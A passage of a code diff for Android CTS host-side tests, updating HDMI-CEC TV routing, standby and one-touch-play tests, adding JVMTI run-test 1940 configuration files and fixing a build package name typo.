+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     public HdmiCecRoutingControlTest() {
@@ -51,7 +55,7 @@
     }
 
     @Before
-    public void checkForInitialActiveSourceMessage() throws Exception {
+    public void checkForInitialActiveSourceMessage() throws CecClientWrapperException {
         try {
             /*
              * Check for the broadcasted <ACTIVE_SOURCE> message from Recorder_1, which was sent as
@@ -60,14 +64,23 @@
             String message =
                     hdmiCecClient.checkExpectedMessageFromClient(
                             LogicalAddress.RECORDER_1, CecOperand.ACTIVE_SOURCE);
-        } catch (Exception e) {
-            /*
-             * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
-             * not make recorder active source, broadcast an <Active Source> message from the
-             * adapter.
-             */
-            hdmiCecClient.broadcastActiveSource(
-                    hdmiCecClient.getSelfDevice(), hdmiCecClient.getPhysicalAddress());
+        } catch (CecClientWrapperException e) {
+            if (e.getErrorCode() != ErrorCodes.CecMessageNotFound) {
+                throw e;
+            } else {
+                /*
+                 * In case the TV does not send <Set Stream Path> to CEC adapter, or the client does
+                 * not make recorder active source, broadcast an <Active Source> message from the
+                 * adapter.
+                 */
+                hdmiCecClient.broadcastActiveSource(
+                        hdmiCecClient.getSelfDevice(), hdmiCecClient.getPhysicalAddress());
+                try {
+                    TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
+                } catch (InterruptedException ex) {
+                    // Do nothing
+                }
+            }
         }
     }
 
@@ -85,8 +98,8 @@
         hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.PLAYBACK_1, 0x2200);
         TimeUnit.SECONDS.sleep(2);
         // Make the device with LA 4 as the active source.
-        HdmiControlManagerUtility.setActiveSource(
-                getDevice(), LogicalAddress.PLAYBACK_1.getLogicalAddressAsInt());
+        HdmiControlManagerUtility.selectDevice(
+                this, getDevice(), LogicalAddress.PLAYBACK_1.toString());
         String message = hdmiCecClient.checkExpectedOutput(CecOperand.SET_STREAM_PATH);
         assertWithMessage("Device has not sent a Set Stream Path message to the selected device")
                 .that(CecMessage.getParams(message))
@@ -102,8 +115,7 @@
     @Test
     public void cect_11_1_2_2_DutDoesNotRespondToRequestActiveSourceMessage() throws Exception {
         // Ensure that DUT is the active source.
-        HdmiControlManagerUtility.setActiveSource(
-                getDevice(), LogicalAddress.TV.getLogicalAddressAsInt());
+        HdmiControlManagerUtility.selectDevice(this, getDevice(), LogicalAddress.TV.toString());
         hdmiCecClient.checkExpectedOutput(CecOperand.ACTIVE_SOURCE);
         // Broadcast an active source from the client device.
         hdmiCecClient.broadcastActiveSource(hdmiCecClient.getSelfDevice());
@@ -124,8 +136,7 @@
     @Test
     public void cect_11_1_2_3_DutDoesRespondToRequestActiveSourceMessage() throws Exception {
         // Make the TV device the active source.
-        HdmiControlManagerUtility.setActiveSource(
-                getDevice(), LogicalAddress.TV.getLogicalAddressAsInt());
+        HdmiControlManagerUtility.selectDevice(this, getDevice(), LogicalAddress.TV.toString());
         hdmiCecClient.sendCecMessage(
                 hdmiCecClient.getSelfDevice(),
                 LogicalAddress.BROADCAST,
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
index 77ac08a..54c296e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemAudioControlTest.java
@@ -44,7 +44,7 @@
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     public HdmiCecSystemAudioControlTest() {
@@ -59,6 +59,9 @@
      */
     @Test
     public void cect_11_1_15_1_DutSendsSystemAudioModeRequest() throws Exception {
+        // Ensure that system audio mode is off before testing 11.1.15-5.
+        setSystemAudioMode(false);
+
         hdmiCecClient.broadcastReportPhysicalAddress(LogicalAddress.AUDIO_SYSTEM);
         hdmiCecClient.broadcastReportPhysicalAddress(
                 LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
index 30b9292..83b7c4b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecSystemInformationTest.java
@@ -41,7 +41,7 @@
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, LogicalAddress.TV))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     public HdmiCecSystemInformationTest() {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
index 0b4b29e..7ee413a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvOneTouchPlayTest.java
@@ -16,14 +16,16 @@
 
 package android.hdmicec.cts.tv;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
 import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.HdmiControlManagerUtility;
 import android.hdmicec.cts.LogicalAddress;
 
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
-import static com.google.common.truth.Truth.assertWithMessage;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -38,8 +40,12 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class HdmiCecTvOneTouchPlayTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress TV_DEVICE = LogicalAddress.TV;
-    private static final int WAIT_TIME_MS = 300;
+    private static final int WAIT_TIME_MS = 1000;
+
+    private static final int SLEEP_TIMESTEP_SECONDS = 1;
+    private static final int POWER_TRANSITION_WAIT_TIME = 10;
+    private static final int MAX_POWER_TRANSITION_WAIT_TIME = 15;
+
     List<LogicalAddress> testDevices = new ArrayList<>();
 
     public HdmiCecTvOneTouchPlayTest() {
@@ -54,7 +60,7 @@
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, TV_DEVICE))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     /**
@@ -122,10 +128,83 @@
              */
             hdmiCecClient.broadcastActiveSource(
                     LogicalAddress.RECORDER_1, hdmiCecClient.getPhysicalAddress());
+            TimeUnit.MILLISECONDS.sleep(WAIT_TIME_MS);
         }
         // Make the TV device the active source.
-        HdmiControlManagerUtility.setActiveSource(
-                getDevice(), LogicalAddress.TV.getLogicalAddressAsInt());
+        HdmiControlManagerUtility.selectDevice(this, getDevice(), LogicalAddress.TV.toString());
         hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.ACTIVE_SOURCE);
     }
+
+    /**
+     * Test 11.1.1-3
+     *
+     * <p>Tests that the DUT powers on in response to an {@code <Image View On>} message when in
+     * standby
+     */
+    @Test
+    public void cect_11_1_1_3_ImageViewOnWhenInStandby() throws Exception {
+        try {
+            getDevice().reboot();
+            sendDeviceToSleep();
+            assertDevicePowerStatus(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+            /* Get the first device the client has started as */
+            LogicalAddress testDevice = testDevices.get(0);
+            hdmiCecClient.sendCecMessage(testDevice, LogicalAddress.TV, CecOperand.IMAGE_VIEW_ON);
+            assertDevicePowerStatus(HdmiCecConstants.CEC_POWER_STATUS_ON);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    /**
+     * Test 11.1.1-4
+     *
+     * <p>Tests that the DUT powers on in response to an {@code <Text View On>} message when in
+     * standby
+     */
+    @Test
+    public void cect_11_1_1_4_TextViewOnWhenInStandby() throws Exception {
+        try {
+            getDevice().reboot();
+            sendDeviceToSleep();
+            assertDevicePowerStatus(HdmiCecConstants.CEC_POWER_STATUS_STANDBY);
+            /* Get the first device the client has started as */
+            LogicalAddress testDevice = testDevices.get(0);
+            hdmiCecClient.sendCecMessage(testDevice, LogicalAddress.TV, CecOperand.TEXT_VIEW_ON);
+            assertDevicePowerStatus(HdmiCecConstants.CEC_POWER_STATUS_ON);
+        } finally {
+            wakeUpDevice();
+        }
+    }
+
+    private void assertDevicePowerStatus(int powerStatus) throws Exception {
+        String[] powerStatusNames = {"ON", "OFF", "IN_TRANSITION_TO_ON", "IN_TRANSITION_TO_OFF"};
+        LogicalAddress cecClientDevice = hdmiCecClient.getSelfDevice();
+        int actualPowerStatus;
+        int waitTimeSeconds = POWER_TRANSITION_WAIT_TIME;
+
+        /* Wait for the device to transition */
+        TimeUnit.SECONDS.sleep(waitTimeSeconds);
+
+        do {
+            TimeUnit.SECONDS.sleep(SLEEP_TIMESTEP_SECONDS);
+            waitTimeSeconds += SLEEP_TIMESTEP_SECONDS;
+            hdmiCecClient.sendCecMessage(cecClientDevice, CecOperand.GIVE_POWER_STATUS);
+            actualPowerStatus =
+                    CecMessage.getParams(
+                            hdmiCecClient.checkExpectedOutput(
+                                    cecClientDevice, CecOperand.REPORT_POWER_STATUS));
+            /* Compare with (powerStatus + 2) to check if it is transitioning to the expected power
+             * status.
+             */
+        } while (actualPowerStatus == (powerStatus + 2)
+                && waitTimeSeconds <= MAX_POWER_TRANSITION_WAIT_TIME);
+        assertWithMessage(
+                        "Device power status is "
+                                + powerStatusNames[actualPowerStatus]
+                                + " but expected to be "
+                                + powerStatusNames[powerStatus])
+                .that(actualPowerStatus)
+                .isEqualTo(powerStatus);
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
index f4ede40..d3b6d1d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/tv/HdmiCecTvStandbyTest.java
@@ -36,8 +36,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class HdmiCecTvStandbyTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress TV_DEVICE = LogicalAddress.TV;
-
     public HdmiCecTvStandbyTest() {
         super(HdmiCecConstants.CEC_DEVICE_TYPE_TV);
     }
@@ -46,7 +44,7 @@
     public RuleChain ruleChain =
             RuleChain.outerRule(CecRules.requiresCec(this))
                     .around(CecRules.requiresLeanback(this))
-                    .around(CecRules.requiresDeviceType(this, TV_DEVICE))
+                    .around(CecRules.requiresDeviceType(this, HdmiCecConstants.CEC_DEVICE_TYPE_TV))
                     .around(hdmiCecClient);
 
     private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
@@ -64,14 +62,10 @@
         device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
         boolean wasOn = setHdmiControlDeviceAutoOff(true);
         try {
-            device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+            sendDeviceToSleep();
             hdmiCecClient.checkExpectedOutput(LogicalAddress.BROADCAST, CecOperand.STANDBY);
-            String wakeState = device.executeShellCommand("dumpsys power | grep mWakefulness=");
-            assertWithMessage("Device is not in standby.")
-                    .that(wakeState.trim())
-                    .isEqualTo("mWakefulness=Asleep");
         } finally {
-            device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+            wakeUpDevice();
             setHdmiControlDeviceAutoOff(wasOn);
         }
     }
diff --git a/hostsidetests/incrementalinstall/Android.mk b/hostsidetests/incrementalinstall/Android.mk
deleted file mode 100644
index eb303a2..0000000
--- a/hostsidetests/incrementalinstall/Android.mk
+++ /dev/null
@@ -1,16 +0,0 @@
-# Copyright (C) 2021 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-include $(call all-subdir-makefiles)
-
diff --git a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
index 7c8132a..6454624 100644
--- a/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
+++ b/hostsidetests/inputmethodservice/hostside/AndroidTest.xml
@@ -18,6 +18,7 @@
 <configuration description="Config for CTS Input Method Service host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="inputmethod" />
+    <option name="config-descriptor:metadata" key="parameter" value="all_foldable_states" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
diff --git a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
index b70eaa5..bd6e4e3 100644
--- a/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
+++ b/hostsidetests/inputmethodservice/hostside/src/android/inputmethodservice/cts/hostside/InputMethodServiceLifecycleTest.java
@@ -462,7 +462,6 @@
     private void testImeSwitchingWithoutWindowFocusAfterDisplayOffOn(boolean instant)
             throws Exception {
         // Skip whole tests when DUT has com.google.android.tv.operator_tier feature.
-        // TODO(b/222687343): Remove this limitation in the future.
         assumeFalse(hasDeviceFeature(ShellCommandUtils.FEATURE_TV_OPERATOR_TIER));
         sendTestStartEvent(
                 DeviceTestConstants.TEST_IME_SWITCHING_WITHOUT_WINDOW_FOCUS_AFTER_DISPLAY_OFF_ON);
diff --git a/hostsidetests/install/app/src/android/cts/install/SessionRule.java b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
index 5c95c4f..b868187 100644
--- a/hostsidetests/install/app/src/android/cts/install/SessionRule.java
+++ b/hostsidetests/install/app/src/android/cts/install/SessionRule.java
@@ -76,8 +76,8 @@
      * in {@link #mTestStateFile}. Assert error if no session found.
      */
     PackageInstaller.SessionInfo retrieveSessionInfo() throws IOException {
-        return Optional.of(getPackageInstaller().getSessionInfo(retrieveSessionId()))
+        return Optional.ofNullable(getPackageInstaller().getSessionInfo(retrieveSessionId()))
                 .orElseThrow(() -> new AssertionError(
                         "Expecting to find session with getSessionInfo()"));
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
index d68d1ddc..0e101d9 100644
--- a/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
+++ b/hostsidetests/jvmti/redefining/app/src/android/jvmti/cts/JvmtiRedefineClassesTest.java
@@ -742,7 +742,7 @@
 
     @Test
     public void testCannotRetransformOnLoadTest() throws Exception {
-        // Just a sanity check along with below.
+        // Just a confidence check along with below.
         Class<?> target_class = new InMemoryDexClassLoader(
                 ByteBuffer.wrap(ONLOAD_INITIAL_CLASS),
                 getClass().getClassLoader()).loadClass(ONLOAD_TEST_CLASS_NAME);
diff --git a/hostsidetests/jvmti/run-tests/OWNERS b/hostsidetests/jvmti/run-tests/OWNERS
index a7cdcf3..e15fd2b 100644
--- a/hostsidetests/jvmti/run-tests/OWNERS
+++ b/hostsidetests/jvmti/run-tests/OWNERS
@@ -1,4 +1,5 @@
 # Bug component: 86431
+include platform/art:/OWNERS
 allight@google.com
 dsrbecky@google.com
 ngeoffray@google.com
diff --git a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
index 176ef69..4388209 100644
--- a/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1924/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1924" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
index 9b8f768..b3fab4f 100644
--- a/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1925/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1925" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
index a07a28f..ee5da05 100644
--- a/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1926/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1926" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
index d51b1b6..57cf5cd 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1936" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1940/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
new file mode 100644
index 0000000..d22acd8
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/Android.bp
@@ -0,0 +1,31 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_test_host {
+    name: "CtsJvmtiRunTest1940HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1940DeviceApp"],
+    test_options: {
+        unit_test: false,
+    },
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
new file mode 100644
index 0000000..75374f0
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS JVMTI test cases">
+    <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsJvmtiRunTest1940DeviceApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsJvmtiRunTest1940HostTestCases.jar" />
+        <option name="set-option" value="test-file-name:CtsJvmtiRunTest1940DeviceApp.apk" />
+        <option name="set-option" value="package-name:android.jvmti.cts.run_test_1940" />
+        <option name="set-option" value="hidden-api-checks:false" />
+        <option name="runtime-hint" value="8s"/>
+    </test>
+</configuration>
diff --git a/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
new file mode 100644
index 0000000..711cd0c
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1940DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
new file mode 100644
index 0000000..57a57ab
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/app/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.jvmti.cts.run_test_1940">
+
+    <application android:debuggable="true">
+        <uses-library android:name="android.test.runner" />
+        <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1940" />
+        <activity android:name="android.jvmti.JvmtiActivity" >
+        </activity>
+    </application>
+
+    <!--  self-instrumenting test package. -->
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:label="CTS tests for JVMTI"
+        android:targetPackage="android.jvmti.cts.run_test_1940" >
+    </instrumentation>
+</manifest>
+
diff --git a/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
new file mode 100644
index 0000000..1052cee
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1940/jarjar-rules.txt
@@ -0,0 +1 @@
+rule android.jvmti.cts.JvmtiHostTest** android.jvmti.cts.JvmtiHostTest1940@1
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
index 1d29560..1bed7f1 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1982/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1982" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
index b04fa7b..6f1d556 100644
--- a/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1995/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="1995" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
index 673d7d0..c5ecaec 100644
--- a/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/run-tests/test-2004/app/AndroidManifest.xml
@@ -21,8 +21,6 @@
     <application android:debuggable="true">
         <uses-library android:name="android.test.runner" />
         <meta-data android:name="android.jvmti.cts.run_test_nr" android:value="2004" />
-        <!-- Perform extra logging to try to get to the bottom of b/144947842 -->
-        <meta-data android:name="android.jvmti.cts.run_test.extra_logging" android:value="true" />
         <activity android:name="android.jvmti.JvmtiActivity" >
         </activity>
     </application>
diff --git a/hostsidetests/library/Android.bp b/hostsidetests/library/Android.bp
index 401af9a..b1c458b 100644
--- a/hostsidetests/library/Android.bp
+++ b/hostsidetests/library/Android.bp
@@ -30,7 +30,7 @@
         "compatibility-host-util",
     ],
     java_resource_dirs: ["res"],
-    data: [":CtsUesNativeLibraryBuildPackage"],
+    data: [":CtsUseNativeLibraryBuildPackage"],
 }
 
 // Note that this app is built as a java library. The actual app is built
@@ -69,7 +69,7 @@
 // directory is manually searched in the cmd, while dependencies to them are
 // created using the `required` property.
 genrule {
-    name: "CtsUesNativeLibraryBuildPackage",
+    name: "CtsUseNativeLibraryBuildPackage",
     // srcs, tools, required are all "essentially" inputs of the zip
     // (except for soong_zip which is actually the tool)
     srcs: [
@@ -89,7 +89,7 @@
         "signapk",
         "libconscrypt_openjdk_jni",
     ],
-    out: ["CtsUesNativeLibraryBuildPackage.zip"],
+    out: ["CtsUseNativeLibraryBuildPackage.zip"],
     // Copied from system/apex/apexer/Android.bp
     cmd: "HOST_OUT_BIN=$$(dirname $(location soong_zip)) && " +
          "HOST_SOONG_OUT=$$(dirname $$(dirname $$HOST_OUT_BIN)) && " +
diff --git a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
index 164c37f..70fdcd3 100644
--- a/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
+++ b/hostsidetests/library/src/android/appmanifest/cts/UsesNativeLibraryTestCase.java
@@ -133,7 +133,7 @@
         // The zip file contains all the tools and files for building a test app on demand. Extract
         // it to the work directory.
         try (ZipFile packageZip = new ZipFile(getTestInformation().getDependencyFile(
-                    "CtsUesNativeLibraryBuildPackage.zip", false))) {
+                    "CtsUseNativeLibraryBuildPackage.zip", false))) {
             mWorkDir = FileUtil.createTempDir("work");
             ZipUtil.extractZip(packageZip, mWorkDir);
 
